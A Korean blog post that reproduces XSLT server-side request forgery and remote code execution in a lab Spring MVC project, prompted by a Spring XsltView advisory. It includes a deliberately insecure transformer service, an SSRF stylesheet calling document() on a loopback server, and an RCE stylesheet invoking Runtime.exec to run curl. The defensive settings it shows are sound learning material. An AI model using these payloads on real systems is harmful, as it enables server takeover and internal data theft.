Spring XsltView 보안 알림을 계기로 살펴본 XSLT SSRF와 RCE

Spring XsltView 보안 알림을 계기로 살펴본 XSLT SSRF와 RCE

GitHub에서 Dependabot 알림이 오면...

룰루랄라🎵🎶 하고... mvnrepository 사이트 가서 버전업하는 게 취미였는데.😅

이번 건 좀 특이했다.

스프링 6.2.19 최신으로 올렸는데도 Dependabot 알림의 패치 버전이 None으로 표시되어 해결되지 않는 것이었다.

확인해보니 사용 중이던 Spring 6.2 계열의 오픈소스(OSS) 지원 정책상 패치 버전이 상용(Enterprise) 지원 전용(6.2.20)으로 분리되어 있었고, 오픈소스 최신 버전은 Spring Framework 7.0.9로 릴리스된 상태였다.

xslt 관련 취약점이라는데... 호기심이 발동하여 Spring MVC 프로젝트를 만들고, 신뢰하지 않는 XSL을 처리할 때 어떤 원리로 SSRF와 RCE가 발생하는지 직접 확인해보기로 했다! 👍

⚠️ 실험 범위에 대한 주의사항

이번 글은 Spring XsltView 보안 알림을 계기로, 신뢰할 수 없는 XSL을 서버에서 직접 변환할 때 SSRF와 RCE가 어떻게 일어나는지 직접 구현한 변환 API로 확인해본 실험입니다. Spring 공식 보안 공지에 나온 XsltView의 URL 경로 처리 및 뷰 이름 해석 취약점을 프레임워크 레벨에서 직접 재현한 것과는 범위가 다르다는 점을 참고해주세요!

💡이전에 작성했던 아래 글의 레거시 Spring MVC 프로젝트 뼈대를 활용했다.

VSCode 및 Antigravity IDE에서 Tomcat 연동하기: Redhat Community Server Connectors 사용 가이드


Dependabot의 알림

Spring Framework Improper Path Limitation in XsltView #22

Vulnerability found in your code

Packageorg.springframework:spring-webmvc (Maven)
Affected versions>= 6.2.0, <= 6.2.19
Patched versionNone (현재 6.2 계열 OSS 기준)

Use of XsltView in a Spring MVC application can result in SSRF and RCE attack if the application has an "/**" mapping that results in view rendering, and where the view name is not explicitly specified.

  • Spring Framework 7.0.0 - 7.0.8 (수정: 7.0.9 - OSS)

  • Spring Framework 6.2.0 - 6.2.19 (수정: 6.2.20 - 기업 지원 전용)

  • Spring Framework 6.1.0 - 6.1.28

  • Spring Framework 6.0.0 - 6.0.30

  • Spring Framework 5.3.0 - 5.3.49

  • Spring Framework 5.2.25.RELEASE and earlier

Spring 공식 보안 공지(CVE-2026-47884)에 따르면, 오픈소스 7.0.9 버전과 기업 지원 6.2.20 버전에서 해당 취약점이 수정되었다.

공지 본문의 핵심 요약은 다음과 같다:

Spring MVC 애플리케이션에서 XsltView를 사용할 때, 만약 애플리케이션에 뷰 렌더링을 유발하는 /** 매핑이 존재하고 뷰 이름이 명시적으로 지정되지 않은 경우, 요청 경로가 뷰 이름으로 해석되어 악의적인 외부 리소스를 참조하거나 실행하면서 SSRF 및 RCE 공격으로 이어질 수 있습니다.


RCE (Remote Code Execution)

공격자가 공격 대상 서버에서 임의의 코드나 운영체제 명령을 실행할 수 있는 취약점이다.

SSRF (Server-Side Request Forgery)

공격자가 취약한 서버를 속여서, 그 서버가 접근 가능한 내부망 또는 외부 리소스에 대신 요청을 보내게 만들고 그 응답을 탈취하거나 내부망을 탐색하는 공격이다.

SSRF와 RCE 차이

구분SSRFRCE
핵심 행위서버가 대신 네트워크 요청을 보냄서버가 임의 명령/코드를 실행함
주된 대상내부 URL, 메타데이터, 내부 API운영체제 명령, 애플리케이션 코드
예http://127.0.0.1/admin 호출whoami, curl, cmd.exe 실행
결과내부 정보 유출, 내부망 스캔서버 완전 장악 가능
위험도높음매우 높음



그런데 XSLT는 뭐지? Excel인가?

그동안 Spring 개발을 하면서 XSLT를 직접 다뤄본 적이 없어서, 처음에는 엑셀 관련 기능인가 착각했었다.😅

💡 XSLT(Extensible Stylesheet Language Transformations)는 XML 문서를 다른 형식(HTML, 또 다른 XML, 텍스트 등)으로 변환하기 위해 만들어진 XML 기반 스타일시트 언어이다.

그렇다면 "서버가 입력받는 XML 데이터에 악의적인 내용을 넣는 것인가?"라는 의문이 생길 수 있다.

하지만 이번 취약점의 핵심 입력은 XML 데이터가 아니라 XSL 스타일시트이다! XSL 안에서 외부 URL을 불러오거나(document()), 자바 런타임 클래스를 호출하는 확장 기능을 악용할 때 SSRF와 RCE가 발생한다.

원리를 명확히 이해하기 위해 직접 XSLT 변환 API와 테스트 코드를 작성해봤다.



XSLT 예제 작성

기존에 작성해두었던 레거시 Spring MVC 프로젝트에 XSLT 변환 서비스와 컨트롤러를 추가했다.


필요한 라이브러리

spring-webmvc

XSLT 변환 기능은 spring-webmvc 및 JDK의 JAXP(javax.xml.transform) 패키지에 기본 내장되어 있어 별도 XSLT 라이브러리를 추가하지 않아도 된다.

Jackson (JSON 처리 및 날짜 모듈)

테스트 편의상 JSON API 형태로 요청을 주고받기 위해 @RequestBody, @ResponseBody 처리에 필요한 Jackson 의존성을 추가했다.

    <!-- Jackson -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>${jackson.version}</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.datatype</groupId>
<artifactId>jackson-datatype-jsr310</artifactId>
<version>${jackson.version}</version>
</dependency>

💡 참고: 예제에서 예외 발생 시 ProblemDetail에 timestamp 속성으로 Java 8 Instant 타입을 넣어 반환하는데, 이를 직렬화하기 위해 RootConfig에 JavaTimeModule을 등록한 ObjectMapper 빈을 구성했다.

@Bean
ObjectMapper objectMapper() {
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.registerModule(new JavaTimeModule());
objectMapper.disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS);
return objectMapper;
}

이 빈은 테스트 코드(@Autowired private ObjectMapper objectMapper)에서 MockMvc 요청 JSON을 생성할 때도 유용하게 사용된다.


XSLT API 컨트롤러 (XsltTestController)

컨트롤러는 단순하게 취약 버전과 보안 설정 버전 두 가지 API 메서드를 제공한다.

  • /api/transform/vulnerable: 보안 설정 없이 XSLT 변환을 수행하는 API

  • /api/transform/secure: 보안 설정을 적용하여 안전하게 XSLT 변환을 수행하는 API


XSLT 서비스 (XsltTestService)

취약한 서비스 코드는 다음과 같다. 사용자가 전달한 XSL을 아무런 제약 없이 TransformerFactory로 컴파일하여 변환을 수행한다.

  /** XSLT 취약점이 있는 코드 */
public String transformXmlVulnerable(TransformRequest request) throws TransformerException {
Source xmlSource = new StreamSource(new StringReader(request.getXml()));
Source xslSource = new StreamSource(new StringReader(request.getXsl()));
​
StringWriter writer = new StringWriter();
Result outputResult = new StreamResult(writer);
​
// 💢 보안 설정이 없는 TransformerFactory 사용
TransformerFactory factory = TransformerFactory.newInstance();
Transformer transformer = factory.newTransformer(xslSource);
transformer.transform(xmlSource, outputResult);
​
return writer.toString();
}

이 상태에서는 XSL 내부에 악의적인 페이로드가 포함되어 있을 경우 서버에서 그대로 실행된다.


💡 XSLT 변환기 보안 설정 (transformXmlSecure)

신뢰할 수 없는 XSLT를 처리하는 직접 구현 코드에서는 TransformerFactory에 다음과 같은 보안 속성을 지정해야 한다.

    TransformerFactory factory = TransformerFactory.newInstance();
// 💡 보안 처리 기능 활성화 및 외부 접근 차단
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
설정의미
FEATURE_SECURE_PROCESSING안전 모드를 활성화하여 자원 소모 제한 및 Java 확장 기능 제한
ACCESS_EXTERNAL_DTD외부 DTD 접근 차단
ACCESS_EXTERNAL_STYLESHEETdocument(), <xsl:include> 등을 통한 외부 스타일시트/리소스 로딩 차단

⚠️ 주의: 위 설정은 이 서비스 메서드(XsltTestService)가 직접 생성한 TransformerFactory 인스턴스에 적용되는 방어책입니다. Spring 프레임워크 내부 XsltView의 경로 처리 취약점을 자동으로 막아주는 것은 아니며, 본 예제 API 환경에서 페이로드가 차단되는지 검증하기 위한 설정입니다.



취약점 동작 검증 테스트 (XsltTestControllerTests)

MockMvc를 활용하여 SSRF와 RCE 공격 페이로드가 실제로 실행되는지, 그리고 보안 설정을 적용했을 때 정상적으로 차단되는지 테스트를 작성했다.

💡 가상 내부망 서버 (HttpServer) 구성: 테스트 클래스 내에서 로컬 루프백(127.0.0.1)으로 임시 HttpServer를 띄워 내부망 서버 A를 모형화했다.

  • /ssrf-poc.xml: SSRF 발생 시 XML 데이터를 응답하는 엔드포인트

  • /rce-check: RCE로 실행된 curl 명령이 호출할 콜백 엔드포인트


1. XSLT SSRF 동작 검증 (testTransformXmlVulnerable_SSRF)

SSRF 흐름도

  • 공격 원리: XSL의 document('http://127.0.0.1:.../ssrf-poc.xml') 함수를 사용하면 서버의 XSLT 엔진이 지정된 URL로 직접 HTTP 요청을 보낸다.

  • 검증 방식:

    • 공격 대상 서버의 /api/transform/vulnerable에 악성 XSL 전달

    • 변환 결과 HTML에 내부 서버 A의 응답 데이터(SSRF_OK)가 포함되어 있는지 확인

    • 내부 서버 A에 실제로 요청이 도달했는지(awaitCallbackRequested) 검증

<!-- SSRF 페이로드 XSL -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<pre><xsl:value-of select="document('http://127.0.0.1:.../ssrf-poc.xml')/root/value"/></pre>
</body>
</html>
</xsl:template>
</xsl:stylesheet>


2. XSLT RCE 동작 검증 (testTransformXmlVulnerable_RCE)

RCE 흐름도

  • 공격 원리: Xalan 등의 XSLT 프로세서는 네임스페이스를 통해 자바 클래스를 호출하는 확장 기능(Extension Functions)을 지원한다. xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"을 선언하고 rt:exec($runtime, 'curl ...')를 호출하면 서버의 Runtime.getRuntime().exec()가 실행된다.

  • 검증 방식:

    • 공격 대상 서버에서 curl -s http://127.0.0.1:.../rce-check 명령을 실행하도록 XSL 전송

    • 내부 서버 A의 콜백 엔드포인트가 호출되었는지(awaitCallbackRequested) 확인하여 원격 명령 실행을 입증

  • GUI 테스트:

    • testTransformXmlVulnerable_RCE_SimpleCommandExecution(): 윈도우 환경에서 실제로 winver.exe 창이 뜨는지 직접 눈으로 확인해볼 수 있는 테스트 (기본적으로 @Disabled 처리).

<!-- RCE 페이로드 XSL -->
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="runtime" select="rt:getRuntime()"/>
<xsl:value-of select="rt:exec($runtime, 'curl -s http://127.0.0.1:.../rce-check')"/>
</xsl:template>
</xsl:stylesheet>

testTransformXmlVulnerable_RCE_SimpleCommandExecution() 테스트를 실행하면 winver.exe가 실행된다.


3. 보안 설정 적용 후 방어 검증 (testTransformXmlSecure_SSRF, testTransformXmlSecure_RCE)

보안 설정을 추가한 /api/transform/secure 엔드포인트로 동일한 SSRF/RCE 페이로드를 전송했다.

  • 결과:

    • TransformerFactory가 외부 리소스 접근 및 안전하지 않은 확장을 거부하면서 TransformerException 발생

    • 컨트롤러 어드바이스(GlobalExceptionHandler)를 통해 400 Bad Request 반환

    • 내부 서버 A에 대한 콜백이 전혀 발생하지 않음(assertCallbackNotRequested)을 확인

{
"type": "about:blank",
"title": "Invalid XSLT transformation request",
"status": 400,
"detail": "The supplied XML/XSLT could not be processed.",
"instance": "/api/transform/secure",
"timestamp": 1792838958.354957600
}



정리하며

이번 실험을 통해 다음과 같은 점들을 배울 수 있었다.

  1. XSLT 취약점의 본질: XML 파싱 취약점(XXE)뿐만 아니라, XSLT 변환 과정에서도 스타일시트(document() 함수나 Java 확장 기능)를 통해 SSRF와 RCE가 발생할 수 있음을 체감했다.

  2. 보안 설정의 중요성: 신뢰할 수 없는 외부 입력을 XSLT 엔진으로 처리할 때는 반드시 FEATURE_SECURE_PROCESSING, ACCESS_EXTERNAL_DTD, ACCESS_EXTERNAL_STYLESHEET 설정을 활성화해야 한다.

  3. 공식 공지와의 구분: 이번 실험은 직접 구현한 XSLT 변환기의 위험성을 확인한 것이며, Spring 공식 공지(CVE-2026-47884)의 XsltView 취약점은 프레임워크 단의 URL 매핑 및 뷰 이름 결정 로직과 관련된 문제이므로 최신 패치 버전을 적용하는 것이 근본적인 해결책이다.

예전에 Log4Shell 테스트를 진행했을 때처럼 원격 코드 실행 취약점의 위험성을 직접 눈으로 확인해볼 수 있었던 유익한 실험이었다. 😊


 

  • 작성일: 2026-10-24-a

  • 퍼머링크: spring-xslt-ssrf-rce-experiment




댓글

이 블로그의 인기 게시물

주방등을 LED 모듈로 교체하기!

전자정부 프레임워크 v5.0 교육자료 IDE, 다른 드라이브에 설치하는 완벽 가이드

SMC WSKP100 - 무선 스카이프 전화기